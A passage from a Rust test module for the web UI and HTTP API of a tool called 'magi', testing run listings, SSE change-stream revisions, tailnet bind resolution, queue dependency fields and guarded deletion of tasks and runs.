7827    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
7828        let mk = |id: &str, pid: Option<u32>| {
7829            let mut s = RunState::new(
7830                PathBuf::from("/repo/magi"),
7831                "main".to_owned(),
7832                "0123456789abcdef".to_owned(),
7833                "Add a web UI".to_owned(),
7834                Config::default(),
7835            );
7836            s.id = id.to_owned();
7837            s.driver_pid = pid;
7838            s.driver_started_at = Some("t0".to_owned());
7839            s
7840        };
7841        let states = vec![
7842            mk("20260902-140502-aaaa", Some(77)),
7843            mk("20260902-140502-bbbb", Some(77)),
7844            mk("20260902-140502-cccc", Some(77)),
7845            mk("20260902-140502-dddd", None),
7846        ];
7847        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
7848        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
7849        let sup: HashMap<String, String> = [(
7850            "20260902-140502-aaaa".to_owned(),
7851            "20260902-140502-cccc".to_owned(),
7852        )]
7853        .into();
7854
7855        let status_calls = std::cell::Cell::new(0);
7856        let identity_calls = std::cell::Cell::new(0);
7857        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
7858            |_| {
7859                status_calls.set(status_calls.get() + 1);
7860                Some(true)
7861            },
7862            |_| {
7863                identity_calls.set(identity_calls.get() + 1);
7864                Some("t0".to_owned())
7865            },
7866        ));
7867        let rows = summarize(
7868            states,
7869            &open,
7870            &claimed,
7871            &sup,
7872            |p| probe.borrow_mut().status(p),
7873            |p| probe.borrow_mut().started_at(p),
7874        );
7875
7876        assert_eq!(status_calls.get(), 1, "one pid, one status query");
7877        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
7878        assert_eq!(rows.len(), 4);
7879        assert!(!rows[0].waiting && rows[1].waiting);
7880        assert_eq!(rows[0].live, crate::run::Liveness::Live);
7881        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
7882        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
7883        assert_eq!(rows[1].superseded_by, None);
7884    }
7885
7886    #[test]
7887    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7888        let mut state = RunState::new(
7889            PathBuf::from("/repo/magi"),
7890            "main".to_owned(),
7891            "0123456789abcdef".to_owned(),
7892            "Review only".to_owned(),
7893            Config::default(),
7894        );
7895        state.id = "20260922-090200-dead".to_owned();
7896        state.status = RunStatus::Reviewing;
7897        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
7898            .expect("serialize list row");
7899        assert_eq!(row["status"], "reviewing");
7900        assert_eq!(row["live"], "dead", "{row}");
7901        assert!(!row["done"].as_bool().unwrap());
7902    }
7903
7904    #[tokio::test]
7905    async fn the_run_list_is_newest_first_and_honours_a_limit() {
7906        let f = Fixture::start().await;
7907        for id in [
7908            "20260902-140501-aaaa",
7909            "20260902-140502-bbbb",
7910            "20260902-140503-cccc",
7911        ] {
7912            write_run(&f.runs(), id, RunStatus::Merged);
7913        }
7914
7915        let all = f.get("/api/runs").await.json();
7916        let capped = f.get("/api/runs?limit=2").await.json();
7917
7918        assert_eq!(all[0]["id"], "20260902-140503-cccc");
7919        assert_eq!(all.as_array().map(Vec::len), Some(3));
7920        assert_eq!(capped.as_array().map(Vec::len), Some(2));
7921        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7922    }
7923
7924    #[tokio::test]
7925    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7926        let f = Fixture::start().await;
7927        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7928
7929        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7930
7931        assert_eq!(res.status, 200);
7932        assert!(
7933            res.headers
7934                .contains("content-type: text/plain; charset=utf-8"),
7935            "a browser must render it, not download it: {}",
7936            res.headers
7937        );
7938        // The assertion is on content, not on the absence of escapes: colour
7939        // is a process-global that `serve` turns off at startup, and another
7940        // test in this binary may own it while this one runs.
7941        assert!(
7942            res.body.contains("20260902-140501-a1b2"),
7943            "the report is about the run that was asked for: {}",
7944            res.body
7945        );
7946    }
7947
7948    #[tokio::test]
7949    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7950        let f = Fixture::start().await;
7951
7952        let html = f.get("/").await;
7953        let css = f.get("/app.css").await;
7954        let js = f.get("/app.js").await;
7955
7956        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7957        assert!(
7958            html.headers
7959                .contains("content-type: text/html; charset=utf-8")
7960        );
7961        assert!(css.headers.contains("content-type: text/css"));
7962        assert!(js.headers.contains("content-type: text/javascript"));
7963        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7964    }
7965
7966    #[test]
7967    fn review_rounds_label_a_distinct_verified_head() {
7968        assert!(APP_JS.contains("round.verified_head"));
7969        assert!(APP_JS.contains("verified HEAD"));
7970        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7971    }
7972
7973    #[test]
7974    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7975        // A blocked task's chip and note must not fall back to a queued-like
7976        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
7977        // itself by e11fc58 but never checked here.
7978        assert!(APP_JS.contains("blocked: { glyph:"));
7979        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7980
7981        // `blocked_by` mixes task ids and question ids in the same list, and
7982        // the client can only tell them apart by checking each id against
7983        // what it actually knows - never by guessing from the id's shape.
7984        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7985        assert!(
7986            APP_JS.contains(
7987                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7988            ),
7989            "the note line must name what a blocked task is waiting on, not just that it is blocked"
7990        );
7991        // The classification must key off `status_str`, never off `blocked_by`
7992        // or `block_reason` merely being present - both can survive briefly
7993        // on a task a hold or a dead daemon just moved off `blocked`.
7994        assert!(APP_JS.contains("if (status === \"blocked\") {"));
7995
7996        // A question a task is blocked on gets its own node in the same
7997        // dependency graph, not just a task-shaped node with nothing known
7998        // about it.
7999        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8000        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8001        assert!(
8002            APP_JS.contains("location.hash = \"#/questions\";"),
8003            "a question node must jump to the Questions screen, not pretend to be a task"
8004        );
8005
8006        // `Task::answers` - decisions already made - are shown as a record on
8007        // the card, the same disclosure style as the full instruction.
8008        assert!(APP_JS.contains("Resolved questions"));
8009        assert!(APP_JS.contains("r.answersList.append("));
8010        assert!(APP_CSS.contains(".task-answers"));
8011    }
8012
8013    #[test]
8014    fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8015        // A `kind: "task"` notice link used to drop the id on the floor and
8016        // point at `#/queue` outright, so every task notification landed on
8017        // whatever happened to be first in the Backlog rather than the task
8018        // it was actually about.
8019        assert!(
8020            APP_JS.contains(
8021                "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8022            ),
8023            "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8024        );
8025        assert!(
8026            !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8027            "regression: the task link must not go back to naming the bare Backlog route"
8028        );
8029
8030        // The route parser has to read that id back out before applyRoute()
8031        // can do anything with it.
8032        assert!(
8033            APP_JS.contains(
8034                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8035            ),
8036            "`#/queue/<id>` must parse into a route carrying that id"
8037        );
8038
8039        // And the Backlog view has to actually land on the card once it can
8040        // - see consumeQueueFocus(), which renderQueue() calls on every pass
8041        // so a focus set before the queue has loaded is retried once it has.
8042        assert!(APP_JS.contains("state.queueFocus = route.id;"));
8043        assert!(APP_JS.contains("function consumeQueueFocus()"));
8044        assert!(APP_JS.contains("jumpToTask(id);"));
8045    }
8046
8047    #[test]
8048    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8049        // consumeQueueFocus() clears an active Backlog search before it can
8050        // scroll to the target card (the sections list is hidden while a
8051        // search is showing), by recursing back into renderQueue(). The
8052        // fixer's first cut nulled state.queueFocus before that recursive
8053        // call, so the second pass saw nothing to jump to and the jump was
8054        // silently dropped whenever a notification's link was opened with a
8055        // stale search still active. state.queueFocus must only be cleared
8056        // right before jumpToTask() actually runs.
8057        assert!(
8058            APP_JS.contains(
8059                "  if (!id || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
8060            ),
8061            "the search-clearing branch must run before state.queueFocus is cleared, or the \
8062             recursive renderQueue() call has nothing left to jump to"
8063        );
8064        assert!(
8065            APP_JS.contains("state.queueFocus = null;\n  jumpToTask(id);"),
8066            "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8067        );
8068    }
8069
8070    #[test]
8071    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8072        // The task's own repro: only the link text inside .notice-meta was
8073        // clickable, so a tap on the message, the timestamp, or the card's
8074        // padding did nothing - on a phone that reads as "the card doesn't
8075        // work" even though the tiny link inside it did. Mark read / Dismiss
8076        // must keep working independently of this: `.closest("a, button")`
8077        // is what lets a tap that actually lands on those elements fall
8078        // through instead of being hijacked into a navigation.
8079        assert!(
8080            APP_JS.contains(
8081                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8082            ),
8083            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8084        );
8085    }
8086
8087    #[test]
8088    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8089        assert!(
8090            APP_JS.contains("round.verified_head !== round.head"),
8091            "a round that verified an earlier commit must be visibly distinct from one that \
8092             verified the head reviewers are looking at now"
8093        );
8094        assert!(
8095            APP_JS.contains("round.verified_at"),
8096            "when a check ran must be on the wire, not just which commit"
8097        );
8098        assert!(
8099            APP_JS.contains("resource_blocked"),
8100            "a command magi never got to run (shared build cache contention) must not render \
8101             the same as a command that ran and failed"
8102        );
8103    }
8104
8105    #[tokio::test]
8106    async fn the_change_stream_announces_the_current_revisions_on_connect() {
8107        let f = Fixture::start().await;
8108
8109        let mut socket = tokio::net::TcpStream::connect(f.addr)
8110            .await
8111            .expect("connect");
8112        socket
8113            .write_all(
8114                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8115            )
8116            .await
8117            .expect("write request");
8118
8119        // Read until the first event arrives rather than to end of stream: the
8120        // stream is endless by design, which is the point of the route.
8121        let mut seen = String::new();
8122        let mut buf = [0u8; 1024];
8123        while !seen.contains("event: change") {
8124            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8125                .await
8126                .expect("the stream must speak within five seconds")
8127                .expect("read");
8128            assert!(read > 0, "the server closed the change stream: {seen}");
8129            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8130        }
8131
8132        assert!(
8133            seen.to_lowercase()
8134                .contains("content-type: text/event-stream"),
8135            "the browser only reconnects automatically for a real SSE stream: {seen}"
8136        );
8137        let data = seen
8138            .lines()
8139            .find_map(|l| l.strip_prefix("data:"))
8140            .expect("a data line");
8141        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8142        assert!(
8143            payload["queue_rev"].is_u64()
8144                && payload["runs_rev"].is_u64()
8145                && payload["questions_rev"].is_u64()
8146                && payload["talks_rev"].is_u64()
8147                && payload["notifications_rev"].is_u64()
8148                && payload["loop_rev"].is_u64(),
8149            "the client needs one revision per store to know what to refetch, \
8150             and `talks_rev` is the only notification a standing talk gets - a \
8151             phone whose radio slept through a turn learns about it here, as \
8152             does one whose operator started the loop from another device: \
8153             {payload}"
8154        );
8155
8156        // The front end re-polls health on a timer and on wake, and takes the
8157        // revisions from that answer whenever the stream is not up. So health
8158        // has to carry every key the stream carries: a phone on a link that
8159        // will not hold an SSE connection is exactly the phone that must still
8160        // notice a question, and a missing key there is not a 500 but a UI
8161        // that quietly stops updating.
8162        let health = f.get("/api/health").await.json();
8163        for key in [
8164            "queue_rev",
8165            "runs_rev",
8166            "questions_rev",
8167            "talks_rev",
8168            "notifications_rev",
8169            "loop_rev",
8170        ] {
8171            assert!(
8172                health[key].is_u64(),
8173                "health is the change stream's fallback and is missing `{key}`: {health}"
8174            );
8175        }
8176    }
8177
8178    #[tokio::test]
8179    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8180        let f = Fixture::start().await;
8181        let before = f.get("/api/health").await.json()["talks_rev"]
8182            .as_u64()
8183            .expect("talks_rev");
8184
8185        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8186        std::thread::sleep(Duration::from_millis(10));
8187        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8188        on_disk.turns.push(crate::talk::Turn {
8189            who: crate::talk::Who::Operator,
8190            body: "a new turn".to_owned(),
8191            at: Timestamp::now(),
8192            attachments: Vec::new(),
8193        });
8194        f.talks().put(&mut on_disk).expect("record a turn");
8195
8196        let after = f.get("/api/health").await.json()["talks_rev"]
8197            .as_u64()
8198            .expect("talks_rev");
8199        assert_ne!(
8200            before, after,
8201            "a phone must be able to notice a talk's reply without polling every store"
8202        );
8203    }
8204
8205    #[test]
8206    fn bind_reads_back_from_the_spelling_the_cli_prints() {
8207        // The CLI shows the default in `--help` and parses whatever comes
8208        // back, so the two directions have to agree or `--bind auto` breaks
8209        // the moment someone copies the help text.
8210        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8211            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8212        }
8213        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8214        assert!("everywhere".parse::<Bind>().is_err());
8215    }
8216
8217    #[test]
8218    fn an_explicit_bind_address_is_taken_verbatim() {
8219        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8220
8221        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8222
8223        assert_eq!(addr, asked);
8224        assert!(
8225            warning.is_none(),
8226            "an operator who named an address gets no lecture"
8227        );
8228    }
8229
8230    #[test]
8231    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8232        let (addr, warning) = resolve_bind(&Bind::Auto);
8233
8234        // This has to hold on a CI runner with no `tailscale` and on a dev box
8235        // with one, so the invariant asserted is the one shared by both
8236        // outcomes: the address is either a real tailnet address offered
8237        // without comment, or loopback with an explanation. What must never
8238        // happen is a silent fallback - an operator told "listening on
8239        // 127.0.0.1" with no reason would go looking for a firewall.
8240        match addr {
8241            IpAddr::V4(ip) if is_tailnet(&ip) => {
8242                assert!(warning.is_none(), "a tailnet address needs no warning");
8243            }
8244            other => {
8245                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8246                let warning = warning.expect("a fallback has to explain itself");
8247                assert!(
8248                    warning.contains("127.0.0.1") && warning.contains("local-only"),
8249                    "the warning says what happened and what it costs: {warning}"
8250                );
8251            }
8252        }
8253    }
8254
8255    #[test]
8256    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8257        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
8258        // boundary cases are what stop us binding to some other tool's idea of
8259        // an address.
8260        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8261        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8262        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8263        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8264        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8265    }
8266
8267    #[test]
8268    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8269        let ids = vec![
8270            "20260902-140501-aaaa".to_owned(),
8271            "20260902-140502-aabb".to_owned(),
8272        ];
8273
8274        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8275        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8276        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8277
8278        assert_eq!(missing.status, StatusCode::NOT_FOUND);
8279        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8280        assert_eq!(short, "20260902-140502-aabb");
8281    }
8282    #[tokio::test]
8283    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8284        // The prompt tells agents to reference attachments by bare filename.
8285        // A document served at `.../panel` resolves `shot.png` against its own
8286        // directory, i.e. `.../shot.png`, which is not the asset route - so a
8287        // panel written exactly as instructed showed broken images. Caught by
8288        // looking at a real one in a browser, not by reading the code.
8289        let fx = Fixture::start().await;
8290        let id = panel(
8291            &fx,
8292            "<img src=\"shot.png\">",
8293            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8294        );
8295
8296        // The frame's own URL ends in a filename, so its siblings are reachable.
8297        let doc = fx
8298            .get(&format!("/api/questions/{id}/panel/index.html"))
8299            .await;
8300        assert_eq!(doc.status, 200, "{}", doc.body);
8301        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8302
8303        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8304        assert_eq!(sibling.status, 200, "{}", sibling.body);
8305        assert_eq!(sibling.header("content-type"), Some("image/png"));
8306        assert_eq!(
8307            sibling.header("content-security-policy"),
8308            Some(PANEL_CSP),
8309            "the sibling route must carry the same policy as the asset route"
8310        );
8311
8312        // The original spelling keeps working: HEAD on it is how the front end
8313        // decides whether to mount a frame at all.
8314        assert_eq!(
8315            fx.head(&format!("/api/questions/{id}/panel")).await.status,
8316            200
8317        );
8318    }
8319
8320    #[test]
8321    fn runs_revision_moves_when_deleting_an_older_run() {
8322        let temp = TempDir::new().expect("tempdir");
8323        let runs = temp.path().join("runs");
8324        std::fs::create_dir_all(&runs).expect("create runs dir");
8325
8326        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8327
8328        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8329        std::thread::sleep(Duration::from_millis(10));
8330        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8331
8332        let rev_before = runs_revision(&runs);
8333        assert!(rev_before > 0);
8334
8335        let old_dir = runs.join("20260901-100000-old1");
8336        std::fs::remove_dir_all(&old_dir).expect("remove old run");
8337
8338        let rev_after = runs_revision(&runs);
8339        assert_ne!(
8340            rev_before, rev_after,
8341            "deleting an older run must change the revision so other clients see the deletion"
8342        );
8343    }
8344
8345    /// A run's own `run.json` on an explicit `runs` root, bypassing the
8346    /// process-global home entirely — `RunState::save` writes through
8347    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
8348    /// (see `tests::home_lock` in the integration suite for why).
8349    fn write_state(runs: &FsPath, state: &RunState) {
8350        let dir = runs.join(&state.id);
8351        std::fs::create_dir_all(&dir).expect("run dir");
8352        std::fs::write(
8353            dir.join("run.json"),
8354            serde_json::to_string_pretty(state).expect("serialize run"),
8355        )
8356        .expect("write run.json");
8357    }
8358
8359    /// A seat starting or finishing is a write to `run.json` like any other,
8360    /// so it moves the same revision the change stream already watches —
8361    /// nothing new for `/api/events` to learn, but the property this feature
8362    /// depends on to reach the phone without a poll.
8363    #[test]
8364    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8365        let temp = TempDir::new().expect("tempdir");
8366        let runs = temp.path().join("runs");
8367        std::fs::create_dir_all(&runs).expect("create runs dir");
8368        let mut state = RunState::new(
8369            PathBuf::from("/repo/magi"),
8370            "main".to_owned(),
8371            "0123456789abcdef".to_owned(),
8372            "task".to_owned(),
8373            Config::default(),
8374        );
8375        state.id = "20260902-100000-c0de".to_owned();
8376        write_state(&runs, &state);
8377
8378        let rev_idle = runs_revision(&runs);
8379        std::thread::sleep(Duration::from_millis(10));
8380        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8381        write_state(&runs, &state);
8382        let rev_started = runs_revision(&runs);
8383        assert_ne!(
8384            rev_idle, rev_started,
8385            "a seat starting must move the revision"
8386        );
8387
8388        std::thread::sleep(Duration::from_millis(10));
8389        state.seat_finished("judge-1");
8390        write_state(&runs, &state);
8391        let rev_finished = runs_revision(&runs);
8392        assert_ne!(
8393            rev_started, rev_finished,
8394            "and clearing it again must move the revision a second time"
8395        );
8396    }
8397
8398    #[tokio::test]
8399    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
8400        // `TaskView` flattens `Task`, so this is really asserting that
8401        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
8402        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
8403        // never touched web.rs, so nothing here caught it if it had.
8404        let fx = Fixture::start().await;
8405        let q = fx.queue();
8406
8407        let mut t = Task::new(
8408            "Task".to_owned(),
8409            "Instruction".to_owned(),
8410            PathBuf::from("/repo"),
8411            Source::Human,
8412        );
8413        t.block(
8414            vec!["20260101-000000-dead".to_owned()],
8415            Some("waiting on Task 1".to_owned()),
8416        );
8417        t.answers.push(crate::queue::AnsweredQuestion {
8418            question: "Which backend?".to_owned(),
8419            answer: "SQLite".to_owned(),
8420        });
8421        q.put(&mut t).expect("put t");
8422
8423        let res = fx.get("/api/queue").await;
8424        assert_eq!(res.status, 200);
8425        let list = res.json();
8426        let view = list
8427            .as_array()
8428            .expect("array")
8429            .iter()
8430            .find(|v| v["id"] == t.id)
8431            .expect("task in list");
8432        assert_eq!(view["status_str"], "blocked");
8433        assert_eq!(
8434            view["blocked_by"],
8435            serde_json::json!(["20260101-000000-dead"])
8436        );
8437        assert_eq!(view["block_reason"], "waiting on Task 1");
8438        assert_eq!(view["answers"][0]["question"], "Which backend?");
8439        assert_eq!(view["answers"][0]["answer"], "SQLite");
8440
8441        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
8442        // but never `answers` - that is a settled decision, not state
8443        // describing the current block, so it survives.
8444        let res = fx
8445            .post(&format!("/api/queue/{}/hold", t.short()), None)
8446            .await;
8447        assert_eq!(res.status, 200);
8448        let held = res.json();
8449        assert_eq!(held["status_str"], "held");
8450        assert_eq!(held["blocked_by"], serde_json::json!([]));
8451        assert!(held["block_reason"].is_null());
8452        assert_eq!(held["answers"][0]["answer"], "SQLite");
8453    }
8454
8455    #[tokio::test]
8456    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
8457        let fx = Fixture::start().await;
8458        let q = fx.queue();
8459        let mk = |title: &str| {
8460            Task::new(
8461                title.to_owned(),
8462                "Instruction".to_owned(),
8463                PathBuf::from("/repo"),
8464                Source::Human,
8465            )
8466        };
8467        let mut root = mk("root");
8468        root.hold_manual(Some("waiting".to_owned()));
8469        q.put(&mut root).unwrap();
8470        let mut mid = mk("mid");
8471        mid.block(vec![root.id.clone()], None);
8472        q.put(&mut mid).unwrap();
8473        let mut leaf = mk("leaf");
8474        leaf.block(vec![mid.id.clone()], None);
8475        q.put(&mut leaf).unwrap();
8476
8477        let list = fx.get("/api/queue").await.json();
8478        let find = |id: &str| {
8479            list.as_array()
8480                .unwrap()
8481                .iter()
8482                .find(|v| v["id"] == id)
8483                .unwrap()
8484                .clone()
8485        };
8486        let leaf_view = find(&leaf.id);
8487        assert_eq!(
8488            leaf_view["waits_on"],
8489            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
8490        );
8491        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
8492        assert_eq!(
8493            find(&mid.id)["waits_on"],
8494            serde_json::json!([format!("{} (held)", root.short())])
8495        );
8496        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
8497    }
8498
8499    #[tokio::test]
8500    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
8501        let fx = Fixture::start().await;
8502        let q = fx.queue();
8503
8504        // 1. A queued task with runs attached can be deleted.
8505        let mut t1 = Task::new(
8506            "Task 1".to_owned(),
8507            "Instruction 1".to_owned(),
8508            PathBuf::from("/repo"),
8509            Source::Human,
8510        );
8511        let run_id = "20260901-000000-r111";
8512        t1.runs.push(run_id.to_owned());
8513        write_run(&fx.runs(), run_id, RunStatus::Merged);
8514        q.put(&mut t1).expect("put t1");
8515
8516        // Delete by short id
8517        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
8518        assert_eq!(res.status, 204);
8519        assert!(res.body.is_empty(), "204 No Content has no body");
8520        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
8521        assert!(
8522            fx.runs().join(run_id).exists(),
8523            "run directory must not be deleted when its task is deleted"
8524        );
8525
8526        // 2. A task a live daemon is running is refused with 409.
8527        let mut t2 = Task::new(
8528            "Task 2".to_owned(),
8529            "Instruction 2".to_owned(),
8530            PathBuf::from("/repo"),
8531            Source::Human,
8532        );
8533        t2.status = TaskStatus::Running;
8534        q.put(&mut t2).expect("put t2");
8535        let mut beat = crate::daemon::Status::new();
8536        beat.current = vec![crate::daemon::Current {
8537            task: t2.id.clone(),
8538            run: "20260901-000000-r222".to_owned(),
8539        }];
8540        beat.updated_at = jiff::Timestamp::now();
8541        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8542            .expect("publish a heartbeat");
8543        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
8544        assert_eq!(res.status, 409);
8545        assert!(
8546            res.json()["error"]
8547                .as_str()
8548                .unwrap()
8549                .contains("live daemon")
8550        );
8551        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
8552
8553        // 3. The same `running` status and an orphaned lock, with no daemon
8554        // behind either, is a leftover and deletable. Before this the phone
8555        // refused it for good: the status never changes on its own and
8556        // nothing drops a lock whose process is gone.
8557        // The daemon is killed: the file stays, the heartbeat stops.
8558        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
8559        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8560            .expect("leave a stale heartbeat");
8561        let mut t3 = Task::new(
8562            "Task 3".to_owned(),
8563            "Instruction 3".to_owned(),
8564            PathBuf::from("/repo"),
8565            Source::Human,
8566        );
8567        t3.status = TaskStatus::Running;
8568        q.put(&mut t3).expect("put t3");
8569        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
8570        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
8571        assert_eq!(res.status, 204);
8572        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
8573        assert!(
8574            q.claim(&t3.id).is_ok(),
8575            "the stale lock went with it, so the id is claimable again"
8576        );
8577
8578        // 4. Missing id returns 404
8579        let res = fx.delete("/api/queue/nonexistent").await;
8580        assert_eq!(res.status, 404);
8581    }
8582
8583    #[tokio::test]
8584    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
8585        let fx = Fixture::start().await;
8586        let runs = fx.runs();
8587
8588        // 1. Finished and folded run can be deleted along with artifacts
8589        let run_id = "20260901-000000-fold";
8590        let mut state = RunState::new(
8591            PathBuf::from("/repo"),
8592            "main".to_owned(),
8593            "abc".to_owned(),
8594            "instruction".to_owned(),
8595            Config::default(),
8596        );
8597        state.id = run_id.to_owned();
8598        state.status = RunStatus::Merged;
8599        state.candidates.push(crate::run::Candidate {
8600            index: 0,
8601            label: 'A',
8602            agent: "a".to_owned(),
8603            branch: "b".to_owned(),
8604            worktree: PathBuf::from("/w"),
8605            summary: String::new(),
8606            stat: String::new(),
8607            files: 1,
8608            commits: 1,
8609            empty: false,
8610            failed: None,
8611            verified_noop: None,
8612            duration_ms: 0,
8613            folded: true,
8614        });
8615        let dir = runs.join(run_id);
8616        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
8617        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
8618            .expect("write artifact");
8619        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
8620            .expect("write run.json");
8621
8622        // Delete by short id
8623        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
8624        assert_eq!(res.status, 204);
8625        assert!(res.body.is_empty(), "204 has no body");
8626        assert!(!dir.exists(), "run directory and artifacts must be deleted");
8627
8628        // 2. A run a live daemon is working on is refused with 409. The
8629        // heartbeat is what makes it refusable: an unfinished run with no
8630        // daemon behind it is a leftover from a killed process, and case 1
8631        // above would otherwise be impossible to tell apart from this one.
8632        let run_running = "20260901-000000-rung";
8633        write_run(&runs, run_running, RunStatus::Prep);
8634        let mut beat = crate::daemon::Status::new();
8635        beat.current = vec![crate::daemon::Current {
8636            task: "20260901-000000-task".to_owned(),
8637            run: run_running.to_owned(),
8638        }];
8639        beat.updated_at = jiff::Timestamp::now();
8640        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8641            .expect("publish a heartbeat");
8642        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
8643        assert_eq!(res.status, 409);
8644        assert!(
8645            res.json()["error"]
8646                .as_str()
8647                .unwrap()
8648                .contains("live daemon"),
8649            "the refusal must say who is holding it"
8650        );
8651        assert!(
8652            runs.join(run_running).exists(),
8653            "a run in flight keeps its directory"
8654        );
8655
8656        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
8657        let run_unfolded = "20260901-000000-unfd";
8658        let mut state2 = RunState::new(
8659            PathBuf::from("/repo"),
8660            "main".to_owned(),
8661            "abc".to_owned(),
8662            "instruction".to_owned(),
8663            Config::default(),
8664        );
8665        state2.id = run_unfolded.to_owned();
8666        state2.status = RunStatus::Ready;
8667        state2.candidates.push(crate::run::Candidate {
8668            index: 0,
8669            label: 'A',
8670            agent: "a".to_owned(),
8671            branch: "b".to_owned(),
8672            worktree: PathBuf::from("/w"),
8673            summary: String::new(),
8674            stat: String::new(),
8675            files: 1,
8676            commits: 1,
